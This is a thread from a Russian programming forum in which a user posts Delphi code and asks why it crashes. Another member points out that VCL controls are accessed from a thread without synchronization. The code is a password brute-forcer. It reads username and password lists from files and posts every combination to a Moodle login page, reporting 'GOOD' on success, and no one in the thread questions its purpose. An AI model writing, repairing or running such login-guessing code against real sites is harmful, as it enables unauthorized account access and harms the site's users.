Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 25.06.2011, 16:12   #1
adidas_pro
Пользователь
 
Регистрация: 28.09.2010
Сообщений: 41
По умолчанию В чем ошибка?

В чем может быть ошибка? Выскакивает ошибка, и подсвечивает строку(выделил красным)



Код:
 TNewThread = class(TThread)
  private
  protected
    procedure Execute; override;
  public
constructor Create(CreateSuspended: Boolean);
  end; 


var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
TNewThread.Create(false);
end;

procedure TNewThread.Execute;
var
  i, ii : Integer;
  s : String;
  Data : TStringList;
  s1,s2 : string;
begin
   Form1.ListBox1.Items.LoadFromFile('login.txt');
   Form1.ListBox2.Items.LoadFromFile('pass.txt');

  // авторизация
Data := TStringList.Create;
Form1.idhttp1.HandleRedirects:=true;
for ii:=0 to Form1.listbox1.count -1 do
  begin
    Data.Add('username='+Form1.listbox1.items[ii]);
      for i:=0 to Form1.listbox2.count -1 do
         begin
             Form1.idHTTP1.CookieManager:=Form1.idcookiemanager;
             Form1.idHTTP1.Get('http://www.site.ru/moodle/login/');
             Data.Add('password='+Form1.listbox2.items[i]); 
             Data.Add('testcookies=1');
             s :=Form1.idHTTP1.Post('http://www.site.ru/moodle/login/index.php',Data);
             Form1.Memo1.Text := s;
               if pos('http://www.site.ru/moodle/message/index.php',s) <> 0 then
                  ShowMessage('GOOD');
                  Data.Free;
          end;
          end;
          end;
end.
adidas_pro вне форума Ответить с цитированием
Старый 25.06.2011, 16:20   #2
adidas_pro
Пользователь
 
Регистрация: 28.09.2010
Сообщений: 41
По умолчанию

А если в списке только по одной записи, то вылетает следующая ошибка:
adidas_pro вне форума Ответить с цитированием
Старый 25.06.2011, 16:22   #3
Аватар
Старожил
 
Аватар для Аватар
 
Регистрация: 17.11.2010
Сообщений: 18,922
По умолчанию

Нельзя из потока к VCL обращаться без синхронизации
Если бы архитекторы строили здания так, как программисты пишут программы, то первый залетевший дятел разрушил бы цивилизацию
Аватар вне форума Ответить с цитированием
Старый 25.06.2011, 16:24   #4
adidas_pro
Пользователь
 
Регистрация: 28.09.2010
Сообщений: 41
По умолчанию

Цитата:
Сообщение от Аватар Посмотреть сообщение
Нельзя из потока к VCL обращаться без синхронизации
Как быть? Я просто только вчера в потоки полез. Не работал с ними.
adidas_pro вне форума Ответить с цитированием
Старый 25.06.2011, 16:29   #5
Аватар
Старожил
 
Аватар для Аватар
 
Регистрация: 17.11.2010
Сообщений: 18,922
По умолчанию

Почитать про метод synchronize. Погуглить "синхронизация потоков DELPHI"
Если бы архитекторы строили здания так, как программисты пишут программы, то первый залетевший дятел разрушил бы цивилизацию
Аватар вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
в чем ошибка??? Maksim_14 PHP 7 04.05.2011 15:28
в чем ошибка?.. Gsingle Общие вопросы Delphi 5 11.03.2011 20:11
В чем ошибка? DartDayring Visual C++ 5 09.11.2010 23:39
В чем ошибка? KISSkaэсМЕральда Помощь студентам 0 07.11.2010 12:40